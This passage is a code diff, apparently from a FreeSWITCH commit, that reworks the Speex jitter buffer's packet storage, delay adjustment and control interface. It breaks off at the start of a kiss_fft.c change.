    JitterBuffer *jitter = (JitterBuffer*)speex_alloc(sizeof(JitterBuffer));
    if (jitter)
    {
       int i;
+      spx_int32_t tmp;
       for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
-         jitter->buf[i]=NULL;
-      jitter->tick_size = tick;
-      jitter->buffer_margin = 1;
+         jitter->packets[i].data=NULL;
+      jitter->delay_step = step_size;
+      jitter->concealment_size = step_size;
+      /*FIXME: Should this be 0 or 1?*/
+      jitter->buffer_margin = 0;
+      jitter->late_cutoff = 50;
+      jitter->destroy = NULL;
+      jitter->latency_tradeoff = 0;
+      jitter->auto_adjust = 1;
+      tmp = 4;
+      jitter_buffer_ctl(jitter, JITTER_BUFFER_SET_MAX_LATE_RATE, &tmp);
       jitter_buffer_reset(jitter);
    }
    return jitter;
 }
 
 /** Reset jitter buffer */
-void jitter_buffer_reset(JitterBuffer *jitter)
+EXPORT void jitter_buffer_reset(JitterBuffer *jitter)
 {
    int i;
    for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
    {
-      if (jitter->buf[i])
+      if (jitter->packets[i].data)
       {
-         speex_free(jitter->buf[i]);
-         jitter->buf[i] = NULL;
+         if (jitter->destroy)
+            jitter->destroy(jitter->packets[i].data);
+         else
+            speex_free(jitter->packets[i].data);
+         jitter->packets[i].data = NULL;
       }
    }
    /* Timestamp is actually undefined at this point */
    jitter->pointer_timestamp = 0;
-   jitter->current_timestamp = 0;
+   jitter->next_stop = 0;
    jitter->reset_state = 1;
    jitter->lost_count = 0;
-   jitter->loss_rate = 0;
-   for (i=0;i<MAX_MARGIN;i++)
+   jitter->buffered = 0;
+   jitter->auto_tradeoff = 32000;
+   
+   for (i=0;i<MAX_BUFFERS;i++)
    {
-      jitter->shortterm_margin[i] = 0;
-      jitter->longterm_margin[i] = 0;
+      tb_init(&jitter->_tb[i]);
+      jitter->timeBuffers[i] = &jitter->_tb[i];
    }
    /*fprintf (stderr, "reset\n");*/
 }
 
 /** Destroy jitter buffer */
-void jitter_buffer_destroy(JitterBuffer *jitter)
+EXPORT void jitter_buffer_destroy(JitterBuffer *jitter)
 {
    jitter_buffer_reset(jitter);
    speex_free(jitter);
 }
 
+/** Take the following timing into consideration for future calculations */
+static void update_timings(JitterBuffer *jitter, spx_int32_t timing)
+{
+   if (timing < -32767)
+      timing = -32767;
+   if (timing > 32767)
+      timing = 32767;
+   /* If the current sub-window is full, perform a rotation and discard oldest sub-widow */
+   if (jitter->timeBuffers[0]->curr_count >= jitter->subwindow_size)
+   {
+      int i;
+      /*fprintf(stderr, "Rotate buffer\n");*/
+      struct TimingBuffer *tmp = jitter->timeBuffers[MAX_BUFFERS-1];
+      for (i=MAX_BUFFERS-1;i>=1;i--)
+         jitter->timeBuffers[i] = jitter->timeBuffers[i-1];
+      jitter->timeBuffers[0] = tmp;
+      tb_init(jitter->timeBuffers[0]);
+   }
+   tb_add(jitter->timeBuffers[0], timing);
+}
+
+/** Compensate all timings when we do an adjustment of the buffering */
+static void shift_timings(JitterBuffer *jitter, spx_int16_t amount)
+{
+   int i, j;
+   for (i=0;i<MAX_BUFFERS;i++)
+   {
+      for (j=0;j<jitter->timeBuffers[i]->filled;j++)
+         jitter->timeBuffers[i]->timing[j] += amount;
+   }
+}
+
+
 /** Put one packet into the jitter buffer */
-void jitter_buffer_put(JitterBuffer *jitter, const JitterBufferPacket *packet)
+EXPORT void jitter_buffer_put(JitterBuffer *jitter, const JitterBufferPacket *packet)
 {
    int i,j;
-   spx_int32_t arrival_margin;
+   int late;
    /*fprintf (stderr, "put packet %d %d\n", timestamp, span);*/
-   if (jitter->reset_state)
-   {
-      jitter->reset_state=0;
-      jitter->pointer_timestamp = packet->timestamp;
-      jitter->current_timestamp = packet->timestamp;
-      /*fprintf(stderr, "reset to %d\n", timestamp);*/
-   }
    
    /* Cleanup buffer (remove old packets that weren't played) */
-   for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
+   if (!jitter->reset_state)
    {
-      if (jitter->buf[i] && LE32(jitter->timestamp[i] + jitter->span[i], jitter->pointer_timestamp))
+      for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
       {
-         /*fprintf (stderr, "cleaned (not played)\n");*/
-         speex_free(jitter->buf[i]);
-         jitter->buf[i] = NULL;
+         /* Make sure we don't discard a "just-late" packet in case we want to play it next (if we interpolate). */
+         if (jitter->packets[i].data && LE32(jitter->packets[i].timestamp + jitter->packets[i].span, jitter->pointer_timestamp))
+         {
+            /*fprintf (stderr, "cleaned (not played)\n");*/
+            if (jitter->destroy)
+               jitter->destroy(jitter->packets[i].data);
+            else
+               speex_free(jitter->packets[i].data);
+            jitter->packets[i].data = NULL;
+         }
       }
    }
-
-   /*Find an empty slot in the buffer*/
-   for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
+   
+   /*fprintf(stderr, "arrival: %d %d %d\n", packet->timestamp, jitter->next_stop, jitter->pointer_timestamp);*/
+   /* Check if packet is late (could still be useful though) */
+   if (!jitter->reset_state && LT32(packet->timestamp, jitter->next_stop))
    {
-      if (jitter->buf[i]==NULL)
-         break;
+      update_timings(jitter, ((spx_int32_t)packet->timestamp) - ((spx_int32_t)jitter->next_stop) - jitter->buffer_margin);
+      late = 1;
+   } else {
+      late = 0;
    }
 
-   /*fprintf(stderr, "%d %d %f\n", timestamp, jitter->pointer_timestamp, jitter->drift_average);*/
-   /*No place left in the buffer*/
-   if (i==SPEEX_JITTER_MAX_BUFFER_SIZE)
+   /* For some reason, the consumer has failed the last 20 fetches. Make sure this packet is
+    * used to resync. */
+   if (jitter->lost_count>20)
    {
-      int earliest=jitter->timestamp[0];
-      i=0;
-      for (j=1;j<SPEEX_JITTER_MAX_BUFFER_SIZE;j++)
-      {
-         if (!jitter->buf[i] || LT32(jitter->timestamp[j],earliest))
-         {
-            earliest = jitter->timestamp[j];
-            i=j;
-         }
-      }
-      speex_free(jitter->buf[i]);
-      jitter->buf[i]=NULL;
-      if (jitter->lost_count>20)
-      {
-         jitter_buffer_reset(jitter);
-      }
-      /*fprintf (stderr, "Buffer is full, discarding earliest frame %d (currently at %d)\n", timestamp, jitter->pointer_timestamp);*/      
+      jitter_buffer_reset(jitter);
    }
    
-   /* Copy packet in buffer */
-   jitter->buf[i]=(char*)speex_alloc(packet->len);
-   for (j=0;j<packet->len;j++)
-      jitter->buf[i][j]=packet->data[j];
-   jitter->timestamp[i]=packet->timestamp;
-   jitter->span[i]=packet->span;
-   jitter->len[i]=packet->len;
-   
-   /* Adjust the buffer size depending on network conditions */
-   arrival_margin = (packet->timestamp - jitter->current_timestamp) - jitter->buffer_margin*jitter->tick_size;
-   
-   if (arrival_margin >= -LATE_BINS*jitter->tick_size)
+   /* Only insert the packet if it's not hopelessly late (i.e. totally useless) */
+   if (jitter->reset_state || GE32(packet->timestamp+packet->span+jitter->delay_step, jitter->pointer_timestamp))
    {
-      spx_int32_t int_margin;
-      for (i=0;i<MAX_MARGIN;i++)
+
+      /*Find an empty slot in the buffer*/
+      for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
       {
-         jitter->shortterm_margin[i] *= .98;
-         jitter->longterm_margin[i] *= .995;
+         if (jitter->packets[i].data==NULL)
+            break;
       }
-      int_margin = LATE_BINS + arrival_margin/jitter->tick_size;
-      if (int_margin>MAX_MARGIN-1)
-         int_margin = MAX_MARGIN-1;
-      if (int_margin>=0)
-      {
-         jitter->shortterm_margin[int_margin] += .02;
-         jitter->longterm_margin[int_margin] += .005;
-      }
-   } else {
       
-      /*fprintf (stderr, "way too late = %d\n", arrival_margin);*/
-      if (jitter->lost_count>20)
+      /*No place left in the buffer, need to make room for it by discarding the oldest packet */
+      if (i==SPEEX_JITTER_MAX_BUFFER_SIZE)
       {
-         jitter_buffer_reset(jitter);
+         int earliest=jitter->packets[0].timestamp;
+         i=0;
+         for (j=1;j<SPEEX_JITTER_MAX_BUFFER_SIZE;j++)
+         {
+            if (!jitter->packets[i].data || LT32(jitter->packets[j].timestamp,earliest))
+            {
+               earliest = jitter->packets[j].timestamp;
+               i=j;
+            }
+         }
+         if (jitter->destroy)
+            jitter->destroy(jitter->packets[i].data);
+         else
+            speex_free(jitter->packets[i].data);
+         jitter->packets[i].data=NULL;
+         /*fprintf (stderr, "Buffer is full, discarding earliest frame %d (currently at %d)\n", timestamp, jitter->pointer_timestamp);*/      
       }
-   }
-#if 0 /* Enable to check how much is being buffered */
-   if (rand()%1000==0)
-   {
-      int count = 0;
-      for (j=0;j<SPEEX_JITTER_MAX_BUFFER_SIZE;j++)
+   
+      /* Copy packet in buffer */
+      if (jitter->destroy)
       {
-         if (jitter->buf[j])
-            count++;
+         jitter->packets[i].data = packet->data;
+      } else {
+         jitter->packets[i].data=(char*)speex_alloc(packet->len);
+         for (j=0;j<packet->len;j++)
+            jitter->packets[i].data[j]=packet->data[j];
       }
-      fprintf (stderr, "buffer_size = %d\n", count);
+      jitter->packets[i].timestamp=packet->timestamp;
+      jitter->packets[i].span=packet->span;
+      jitter->packets[i].len=packet->len;
+      jitter->packets[i].sequence=packet->sequence;
+      jitter->packets[i].user_data=packet->user_data;
+      if (jitter->reset_state || late)
+         jitter->arrival[i] = 0;
+      else
+         jitter->arrival[i] = jitter->next_stop;
    }
-#endif
+   
+   
 }
 
 /** Get one packet from the jitter buffer */
-int jitter_buffer_get(JitterBuffer *jitter, JitterBufferPacket *packet, spx_uint32_t *start_offset)
+EXPORT int jitter_buffer_get(JitterBuffer *jitter, JitterBufferPacket *packet, spx_int32_t desired_span, spx_int32_t *start_offset)
 {
-   int i, j;
-   float late_ratio_short;
-   float late_ratio_long;
-   float ontime_ratio_short;
-   float ontime_ratio_long;
-   float early_ratio_short;
-   float early_ratio_long;
-   int chunk_size;
+   int i;
+   unsigned int j;
    int incomplete = 0;
+   spx_int16_t opt;
    
-   if (LT32(jitter->current_timestamp+jitter->tick_size, jitter->pointer_timestamp))
-   {
-      jitter->current_timestamp = jitter->pointer_timestamp;
-      speex_warning("did you forget to call jitter_buffer_tick() by any chance?");
-   }
-   /*fprintf (stderr, "get packet %d %d\n", jitter->pointer_timestamp, jitter->current_timestamp);*/
+   if (start_offset != NULL)
+      *start_offset = 0;
 
-   /* FIXME: This should be only what remaining of the current tick */
-   chunk_size = jitter->tick_size;
-   
-   /* Compiling arrival statistics */
-   
-   late_ratio_short = 0;
-   late_ratio_long = 0;
-   for (i=0;i<LATE_BINS;i++)
+   /* Syncing on the first call */
+   if (jitter->reset_state)
    {
-      late_ratio_short += jitter->shortterm_margin[i];
-      late_ratio_long += jitter->longterm_margin[i];
-   }
-   ontime_ratio_short = jitter->shortterm_margin[LATE_BINS];
-   ontime_ratio_long = jitter->longterm_margin[LATE_BINS];
-   early_ratio_short = early_ratio_long = 0;
-   for (i=LATE_BINS+1;i<MAX_MARGIN;i++)
-   {
-      early_ratio_short += jitter->shortterm_margin[i];
-      early_ratio_long += jitter->longterm_margin[i];
-   }
-   if (0&&jitter->pointer_timestamp%1000==0)
-   {
-      /*fprintf (stderr, "%f %f %f %f %f %f\n", early_ratio_short, early_ratio_long, ontime_ratio_short, ontime_ratio_long, late_ratio_short, late_ratio_long);*/
-      /*fprintf (stderr, "%f %f\n", early_ratio_short + ontime_ratio_short + late_ratio_short, early_ratio_long + ontime_ratio_long + late_ratio_long);*/
-   }
-   
-   /* Adjusting the buffering */
-   
-   if (late_ratio_short > .1 || late_ratio_long > .03)
-   {
-      /* If too many packets are arriving late */
-      jitter->shortterm_margin[MAX_MARGIN-1] += jitter->shortterm_margin[MAX_MARGIN-2];
-      jitter->longterm_margin[MAX_MARGIN-1] += jitter->longterm_margin[MAX_MARGIN-2];
-      for (i=MAX_MARGIN-3;i>=0;i--)
+      int found = 0;
+      /* Find the oldest packet */
+      spx_uint32_t oldest=0;
+      for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
       {
-         jitter->shortterm_margin[i+1] = jitter->shortterm_margin[i];
-         jitter->longterm_margin[i+1] = jitter->longterm_margin[i];         
+         if (jitter->packets[i].data && (!found || LT32(jitter->packets[i].timestamp,oldest)))
+         {
+            oldest = jitter->packets[i].timestamp;
+            found = 1;
+         }
       }
-      jitter->shortterm_margin[0] = 0;
-      jitter->longterm_margin[0] = 0;            
-      jitter->pointer_timestamp -= jitter->tick_size;
-      jitter->current_timestamp -= jitter->tick_size;
-      /*fprintf (stderr, "i");*/
-      /*fprintf (stderr, "interpolate (getting some slack)\n");*/
-   } else if (late_ratio_short + ontime_ratio_short < .005 && late_ratio_long + ontime_ratio_long < .01 && early_ratio_short > .8)
-   {
-      /* Many frames arriving early */
-      jitter->shortterm_margin[0] += jitter->shortterm_margin[1];
-      jitter->longterm_margin[0] += jitter->longterm_margin[1];
-      for (i=1;i<MAX_MARGIN-1;i++)
+      if (found)
       {
-         jitter->shortterm_margin[i] = jitter->shortterm_margin[i+1];
-         jitter->longterm_margin[i] = jitter->longterm_margin[i+1];         
+         jitter->reset_state=0;         
+         jitter->pointer_timestamp = oldest;
+         jitter->next_stop = oldest;
+      } else {
+         packet->timestamp = 0;
+         packet->span = jitter->interp_requested;
+         return JITTER_BUFFER_MISSING;
       }
-      jitter->shortterm_margin[MAX_MARGIN-1] = 0;
-      jitter->longterm_margin[MAX_MARGIN-1] = 0;      
-      /*fprintf (stderr, "drop frame\n");*/
-      /*fprintf (stderr, "d");*/
-      jitter->pointer_timestamp += jitter->tick_size;
-      jitter->current_timestamp += jitter->tick_size;
-      /*fprintf (stderr, "dropping packet (getting more aggressive)\n");*/
    }
    
+
+   jitter->last_returned_timestamp = jitter->pointer_timestamp;
+         
+   if (jitter->interp_requested != 0)
+   {
+      packet->timestamp = jitter->pointer_timestamp;
+      packet->span = jitter->interp_requested;
+      
+      /* Increment the pointer because it got decremented in the delay update */
+      jitter->pointer_timestamp += jitter->interp_requested;
+      packet->len = 0;
+      /*fprintf (stderr, "Deferred interpolate\n");*/
+      
+      jitter->interp_requested = 0;
+      
+      jitter->buffered = packet->span - desired_span;
+
+      return JITTER_BUFFER_INSERTION;
+   }
+   
    /* Searching for the packet that fits best */
    
    /* Search the buffer for a packet with the right timestamp and spanning the whole current chunk */
    for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
    {
-      if (jitter->buf[i] && jitter->timestamp[i]==jitter->pointer_timestamp && GE32(jitter->timestamp[i]+jitter->span[i],jitter->pointer_timestamp+chunk_size))
+      if (jitter->packets[i].data && jitter->packets[i].timestamp==jitter->pointer_timestamp && GE32(jitter->packets[i].timestamp+jitter->packets[i].span,jitter->pointer_timestamp+desired_span))
          break;
    }
    
@@ -325,7 +532,7 @@
    {
       for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
       {
-         if (jitter->buf[i] && jitter->timestamp[i]<=jitter->pointer_timestamp && GE32(jitter->timestamp[i]+jitter->span[i],jitter->pointer_timestamp+chunk_size))
+         if (jitter->packets[i].data && LE32(jitter->packets[i].timestamp, jitter->pointer_timestamp) && GE32(jitter->packets[i].timestamp+jitter->packets[i].span,jitter->pointer_timestamp+desired_span))
             break;
       }
    }
@@ -335,7 +542,7 @@
    {
       for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
       {
-         if (jitter->buf[i] && jitter->timestamp[i]<=jitter->pointer_timestamp && GT32(jitter->timestamp[i]+jitter->span[i],jitter->pointer_timestamp))
+         if (jitter->packets[i].data && LE32(jitter->packets[i].timestamp, jitter->pointer_timestamp) && GT32(jitter->packets[i].timestamp+jitter->packets[i].span,jitter->pointer_timestamp))
             break;
       }
    }
@@ -350,12 +557,12 @@
       for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
       {
          /* check if packet starts within current chunk */
-         if (jitter->buf[i] && LT32(jitter->timestamp[i],jitter->pointer_timestamp+chunk_size) && GE32(jitter->timestamp[i],jitter->pointer_timestamp))
+         if (jitter->packets[i].data && LT32(jitter->packets[i].timestamp,jitter->pointer_timestamp+desired_span) && GE32(jitter->packets[i].timestamp,jitter->pointer_timestamp))
          {
-            if (!found || LT32(jitter->timestamp[i],best_time) || (jitter->timestamp[i]==best_time && GT32(jitter->span[i],best_span)))
+            if (!found || LT32(jitter->packets[i].timestamp,best_time) || (jitter->packets[i].timestamp==best_time && GT32(jitter->packets[i].span,best_span)))
             {
-               best_time = jitter->timestamp[i];
-               best_span = jitter->span[i];
+               best_time = jitter->packets[i].timestamp;
+               best_span = jitter->packets[i].span;
                besti = i;
                found = 1;
             }
@@ -365,144 +572,272 @@
       {
          i=besti;
          incomplete = 1;
-         /*fprintf (stderr, "incomplete: %d %d %d %d\n", jitter->timestamp[i], jitter->pointer_timestamp, chunk_size, jitter->span[i]);*/
+         /*fprintf (stderr, "incomplete: %d %d %d %d\n", jitter->packets[i].timestamp, jitter->pointer_timestamp, chunk_size, jitter->packets[i].span);*/
       }
    }
 
    /* If we find something */
    if (i!=SPEEX_JITTER_MAX_BUFFER_SIZE)
    {
+      spx_int32_t offset;
+      
       /* We (obviously) haven't lost this packet */
       jitter->lost_count = 0;
-      jitter->loss_rate = .999*jitter->loss_rate;
-      /* Check for potential overflow */
-      packet->len = jitter->len[i];
+      
+      /* In this case, 0 isn't as a valid timestamp */
+      if (jitter->arrival[i] != 0)
+      {
+         update_timings(jitter, ((spx_int32_t)jitter->packets[i].timestamp) - ((spx_int32_t)jitter->arrival[i]) - jitter->buffer_margin);
+      }
+      
+      
       /* Copy packet */
-      for (j=0;j<packet->len;j++)
-         packet->data[j] = jitter->buf[i][j];
-      /* Remove packet */
-      speex_free(jitter->buf[i]);
-      jitter->buf[i] = NULL;
+      if (jitter->destroy)
+      {
+         packet->data = jitter->packets[i].data;
+         packet->len = jitter->packets[i].len;
+      } else {
+         if (jitter->packets[i].len > packet->len)
+         {
+            speex_warning_int("jitter_buffer_get(): packet too large to fit. Size is", jitter->packets[i].len);
+         } else {
+            packet->len = jitter->packets[i].len;
+         }
+         for (j=0;j<packet->len;j++)
+            packet->data[j] = jitter->packets[i].data[j];
+         /* Remove packet */
+         speex_free(jitter->packets[i].data);
+      }
+      jitter->packets[i].data = NULL;
       /* Set timestamp and span (if requested) */
-      if (start_offset)
-         *start_offset = jitter->timestamp[i]-jitter->pointer_timestamp;
-      packet->timestamp = jitter->timestamp[i];
-      packet->span = jitter->span[i];
-      /* Point at the end of the current packet */
-      jitter->pointer_timestamp = jitter->timestamp[i]+jitter->span[i];
-      if (incomplete)
-         return JITTER_BUFFER_INCOMPLETE;
-      else
-         return JITTER_BUFFER_OK;
+      offset = (spx_int32_t)jitter->packets[i].timestamp-(spx_int32_t)jitter->pointer_timestamp;
+      if (start_offset != NULL)
+         *start_offset = offset;
+      else if (offset != 0)
+         speex_warning_int("jitter_buffer_get() discarding non-zero start_offset", offset);
+      
+      packet->timestamp = jitter->packets[i].timestamp;
+      jitter->last_returned_timestamp = packet->timestamp;
+      
+      packet->span = jitter->packets[i].span;
+      packet->sequence = jitter->packets[i].sequence;
+      packet->user_data = jitter->packets[i].user_data;
+      /* Point to the end of the current packet */
+      jitter->pointer_timestamp = jitter->packets[i].timestamp+jitter->packets[i].span;
+
+      jitter->buffered = packet->span - desired_span;
+      
+      if (start_offset != NULL)
+         jitter->buffered += *start_offset;
+      
+      return JITTER_BUFFER_OK;
    }
    
    
    /* If we haven't found anything worth returning */
+   
    /*fprintf (stderr, "not found\n");*/
    jitter->lost_count++;
    /*fprintf (stderr, "m");*/
    /*fprintf (stderr, "lost_count = %d\n", jitter->lost_count);*/
-   jitter->loss_rate = .999*jitter->loss_rate + .001;
-   if (start_offset)
-      *start_offset = 0;
-   packet->timestamp = jitter->pointer_timestamp;
-   packet->span = jitter->tick_size;
-   jitter->pointer_timestamp += chunk_size;
-   packet->len = 0;
-   return JITTER_BUFFER_MISSING;
+   
+   opt = compute_opt_delay(jitter);
+   
+   /* Should we force an increase in the buffer or just do normal interpolation? */   
+   if (opt < 0)
+   {
+      /* Need to increase buffering */
+      
+      /* Shift histogram to compensate */
+      shift_timings(jitter, -opt);
+      
+      packet->timestamp = jitter->pointer_timestamp;
+      packet->span = -opt;
+      /* Don't move the pointer_timestamp forward */
+      packet->len = 0;
+      
+      jitter->buffered = packet->span - desired_span;
+      return JITTER_BUFFER_INSERTION;
+      /*jitter->pointer_timestamp -= jitter->delay_step;*/
+      /*fprintf (stderr, "Forced to interpolate\n");*/
+   } else {
+      /* Normal packet loss */
+      packet->timestamp = jitter->pointer_timestamp;
+      
+      desired_span = ROUND_DOWN(desired_span, jitter->concealment_size);
+      packet->span = desired_span;
+      jitter->pointer_timestamp += desired_span;
+      packet->len = 0;
+      
+      jitter->buffered = packet->span - desired_span;
+      return JITTER_BUFFER_MISSING;
+      /*fprintf (stderr, "Normal loss\n");*/
+   }
 
+
 }
 
-/** Get pointer timestamp of jitter buffer */
-int jitter_buffer_get_pointer_timestamp(JitterBuffer *jitter)
+EXPORT int jitter_buffer_get_another(JitterBuffer *jitter, JitterBufferPacket *packet)
 {
-   return jitter->pointer_timestamp;
+   int i, j;
+   for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
+   {
+      if (jitter->packets[i].data && jitter->packets[i].timestamp==jitter->last_returned_timestamp)
+         break;
+   }
+   if (i!=SPEEX_JITTER_MAX_BUFFER_SIZE)
+   {
+      /* Copy packet */
+      packet->len = jitter->packets[i].len;
+      if (jitter->destroy)
+      {
+         packet->data = jitter->packets[i].data;
+      } else {
+         for (j=0;j<packet->len;j++)
+            packet->data[j] = jitter->packets[i].data[j];
+         /* Remove packet */
+         speex_free(jitter->packets[i].data);
+      }
+      jitter->packets[i].data = NULL;
+      packet->timestamp = jitter->packets[i].timestamp;
+      packet->span = jitter->packets[i].span;
+      packet->sequence = jitter->packets[i].sequence;
+      packet->user_data = jitter->packets[i].user_data;
+      return JITTER_BUFFER_OK;
+   } else {
+      packet->data = NULL;
+      packet->len = 0;
+      packet->span = 0;
+      return JITTER_BUFFER_MISSING;
+   }
 }
 
-void jitter_buffer_tick(JitterBuffer *jitter)
+/* Let the jitter buffer know it's the right time to adjust the buffering delay to the network conditions */
+static int _jitter_buffer_update_delay(JitterBuffer *jitter, JitterBufferPacket *packet, spx_int32_t *start_offset)
 {
-   jitter->current_timestamp += jitter->tick_size;
+   spx_int16_t opt = compute_opt_delay(jitter);
+   /*fprintf(stderr, "opt adjustment is %d ", opt);*/
+   
+   if (opt < 0)
+   {
+      shift_timings(jitter, -opt);
+      
+      jitter->pointer_timestamp += opt;
+      jitter->interp_requested = -opt;
+      /*fprintf (stderr, "Decision to interpolate %d samples\n", -opt);*/
+   } else if (opt > 0)
+   {
+      shift_timings(jitter, -opt);
+      jitter->pointer_timestamp += opt;
+      /*fprintf (stderr, "Decision to drop %d samples\n", opt);*/
+   }
+   
+   return opt;
 }
 
-
-
-
-
-void speex_jitter_init(SpeexJitter *jitter, void *decoder, int sampling_rate)
+/* Let the jitter buffer know it's the right time to adjust the buffering delay to the network conditions */
+EXPORT int jitter_buffer_update_delay(JitterBuffer *jitter, JitterBufferPacket *packet, spx_int32_t *start_offset)
 {
-   jitter->dec = decoder;
-   speex_decoder_ctl(decoder, SPEEX_GET_FRAME_SIZE, &jitter->frame_size);
+   /* If the programmer calls jitter_buffer_update_delay() directly, 
+      automatically disable auto-adjustment */
+   jitter->auto_adjust = 0;
 
-   jitter->packets = jitter_buffer_init(jitter->frame_size);
-
-   speex_bits_init(&jitter->current_packet);
-   jitter->valid_bits = 0;
-
+   return _jitter_buffer_update_delay(jitter, packet, start_offset);
 }
 
-void speex_jitter_destroy(SpeexJitter *jitter)
+/** Get pointer timestamp of jitter buffer */
+EXPORT int jitter_buffer_get_pointer_timestamp(JitterBuffer *jitter)
 {
-   jitter_buffer_destroy(jitter->packets);
-   speex_bits_destroy(&jitter->current_packet);
+   return jitter->pointer_timestamp;
 }
 
-void speex_jitter_put(SpeexJitter *jitter, char *packet, int len, int timestamp)
+EXPORT void jitter_buffer_tick(JitterBuffer *jitter)
 {
-   JitterBufferPacket p;
-   p.data = packet;
-   p.len = len;
-   p.timestamp = timestamp;
-   p.span = jitter->frame_size;
-   jitter_buffer_put(jitter->packets, &p);
+   /* Automatically-adjust the buffering delay if requested */
+   if (jitter->auto_adjust)
+      _jitter_buffer_update_delay(jitter, NULL, NULL);
+   
+   if (jitter->buffered >= 0)
+   {
+      jitter->next_stop = jitter->pointer_timestamp - jitter->buffered;
+   } else {
+      jitter->next_stop = jitter->pointer_timestamp;
+      speex_warning_int("jitter buffer sees negative buffering, your code might be broken. Value is ", jitter->buffered);
+   }
+   jitter->buffered = 0;
 }
 
-void speex_jitter_get(SpeexJitter *jitter, short *out, int *current_timestamp)
+EXPORT void jitter_buffer_remaining_span(JitterBuffer *jitter, spx_uint32_t rem)
 {
-   int i;
-   int ret;
-   char data[2048];
-   JitterBufferPacket packet;
-   packet.data = data;
+   /* Automatically-adjust the buffering delay if requested */
+   if (jitter->auto_adjust)
+      _jitter_buffer_update_delay(jitter, NULL, NULL);
    
-   if (jitter->valid_bits)
-   {
-      /* Try decoding last received packet */
-      ret = speex_decode_int(jitter->dec, &jitter->current_packet, out);
-      if (ret == 0)
-      {
-         jitter_buffer_tick(jitter->packets);
-         return;
-      } else {
-         jitter->valid_bits = 0;
-      }
-   }
+   if (jitter->buffered < 0)
+      speex_warning_int("jitter buffer sees negative buffering, your code might be broken. Value is ", jitter->buffered);
+   jitter->next_stop = jitter->pointer_timestamp - rem;
+}
 
-   ret = jitter_buffer_get(jitter->packets, &packet, NULL);
-   
-   if (ret != JITTER_BUFFER_OK)
+
+/* Used like the ioctl function to control the jitter buffer parameters */
+EXPORT int jitter_buffer_ctl(JitterBuffer *jitter, int request, void *ptr)
+{
+   int count, i;
+   switch(request)
    {
-      /* No packet found */
-
-      /*fprintf (stderr, "lost/late frame\n");*/
-      /*Packet is late or lost*/
-      speex_decode_int(jitter->dec, NULL, out);
-   } else {
-      speex_bits_read_from(&jitter->current_packet, packet.data, packet.len);
-      /* Decode packet */
-      ret = speex_decode_int(jitter->dec, &jitter->current_packet, out);
-      if (ret == 0)
-      {
-         jitter->valid_bits = 1;
-      } else {
-         /* Error while decoding */
-         for (i=0;i<jitter->frame_size;i++)
-            out[i]=0;
-      }
+      case JITTER_BUFFER_SET_MARGIN:
+         jitter->buffer_margin = *(spx_int32_t*)ptr;
+         break;
+      case JITTER_BUFFER_GET_MARGIN:
+         *(spx_int32_t*)ptr = jitter->buffer_margin;
+         break;
+      case JITTER_BUFFER_GET_AVALIABLE_COUNT:
+         count = 0;
+         for (i=0;i<SPEEX_JITTER_MAX_BUFFER_SIZE;i++)
+         {
+            if (jitter->packets[i].data && LE32(jitter->pointer_timestamp, jitter->packets[i].timestamp))
+            {
+               count++;
+            }
+         }
+         *(spx_int32_t*)ptr = count;
+         break;
+      case JITTER_BUFFER_SET_DESTROY_CALLBACK:
+         jitter->destroy = (void (*) (void *))ptr;
+         break;
+      case JITTER_BUFFER_GET_DESTROY_CALLBACK:
+         *(void (**) (void *))ptr = jitter->destroy;
+         break;
+      case JITTER_BUFFER_SET_DELAY_STEP:
+         jitter->delay_step = *(spx_int32_t*)ptr;
+         break;
+      case JITTER_BUFFER_GET_DELAY_STEP:
+         *(spx_int32_t*)ptr = jitter->delay_step;
+         break;
+      case JITTER_BUFFER_SET_CONCEALMENT_SIZE:
+         jitter->concealment_size = *(spx_int32_t*)ptr;
+         break;
+      case JITTER_BUFFER_GET_CONCEALMENT_SIZE:
+         *(spx_int32_t*)ptr = jitter->concealment_size;
+         break;
+      case JITTER_BUFFER_SET_MAX_LATE_RATE:
+         jitter->max_late_rate = *(spx_int32_t*)ptr;
+         jitter->window_size = 100*TOP_DELAY/jitter->max_late_rate;
+         jitter->subwindow_size = jitter->window_size/MAX_BUFFERS;
+         break;
+      case JITTER_BUFFER_GET_MAX_LATE_RATE:
+         *(spx_int32_t*)ptr = jitter->max_late_rate;
+         break;
+      case JITTER_BUFFER_SET_LATE_COST:
+         jitter->latency_tradeoff = *(spx_int32_t*)ptr;
+         break;
+      case JITTER_BUFFER_GET_LATE_COST:
+         *(spx_int32_t*)ptr = jitter->latency_tradeoff;
+         break;
+      default:
+         speex_warning_int("Unknown jitter_buffer_ctl request: ", request);
+         return -1;
    }
-   jitter_buffer_tick(jitter->packets);
+   return 0;
 }
 
-int speex_jitter_get_pointer_timestamp(SpeexJitter *jitter)
-{
-   return jitter_buffer_get_pointer_timestamp(jitter->packets);
-}

Modified: freeswitch/branches/seven/libs/speex/libspeex/kiss_fft.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/kiss_fft.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/kiss_fft.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,6 @@
 /*
 Copyright (c) 2003-2004, Mark Borgerding
+Copyright (c) 2005-2007, Jean-Marc Valin
 
 All rights reserved.
 
@@ -18,127 +19,149 @@
 #endif
 
 #include "_kiss_fft_guts.h"
-#include "misc.h"
+#include "arch.h"
+#include "os_support.h"
 
 /* The guts header contains all the multiplication and addition macros that are defined for
  fixed or floating point complex numbers.  It also delares the kf_ internal functions.
  */
 
-static kiss_fft_cpx *scratchbuf=NULL;
-static size_t nscratchbuf=0;
-static kiss_fft_cpx *tmpbuf=NULL;
-static size_t ntmpbuf=0;
-
-#define CHECKBUF(buf,nbuf,n) \
-    do { \
-        if ( nbuf < (size_t)(n) ) {\
-            speex_free(buf); \
